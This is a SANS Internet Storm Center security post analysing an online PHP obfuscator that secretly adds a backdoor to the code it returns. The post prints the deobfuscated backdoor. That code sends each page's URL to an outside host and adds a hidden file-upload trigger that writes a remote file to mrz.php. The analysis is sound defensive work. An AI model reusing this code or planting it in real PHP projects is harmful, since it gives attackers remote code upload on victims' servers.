There are many reasons why someone would obfuscate backdoors. Few of them are "good". Many websites offer easy-to-use web-based tools to obfuscate PHP code. One of our readers, Patrick Scholing from DNSBunker.org, spotted an interesting one that does a bit more than simply obfuscate code: obfuscator[.]tools.
This website hides some extra goodies in the obfuscated code. Being obfuscated, the introduced backdoor may, of course, go unnoticed. Let's start out with a very simple PHP snippet:
The result, selecting the "Legacy STT" method:
The result is quite a bit longer than what we started out with. But it is not unusual for obfuscation to increase the code size. The obfuscation method selected is a simple base64/gzip combination. For simple deobfuscation, I just replaced the "eval" with "print" and got:
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL2dob3N0Lw=='); $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $data = array('file_url' => $cur); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($data), ), ); $context = stream_context_create($options); $result = file_get_contents($k3yw, false, $context);
if ( isset($_GET['mrz']) ) { $remoteUrl = $_GET['file']; $remoteContent = file_get_contents($remoteUrl); $encodedContent = base64_encode($remoteContent);
if (file_put_contents('mrz.php', base64_decode($encodedContent))) { echo "File : mrz.php Success !"; } else { echo "Error"; } exit; } echo('x');
Note that my original code remains at the end as the last line. The code will appear to work "just fine". But a few extra lines have been added.
These extra lines will:
- send the full URL of the page to https://siyahi.top/ghost/
- introduce a simple arbitrary file upload feature that is triggered by the "mrz" URL parameter.
The uploaded file will be saved as "mrz.php". I send a request to the attacker's collection script attempting to "seed" it with a specific URL and will update this post if I see a request coming in for it. So far (about an hour later), I did not see a request for the specific URL.
The website used for command and control, siyahi.top, appears to be a compromised construction company website. But the "default" mailing address and the website's overall boilerplate look and feel may indicate that this is just a decoy to make the malicious site appear harmless during cursory inspection.
As usual: Be careful :)
-- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.






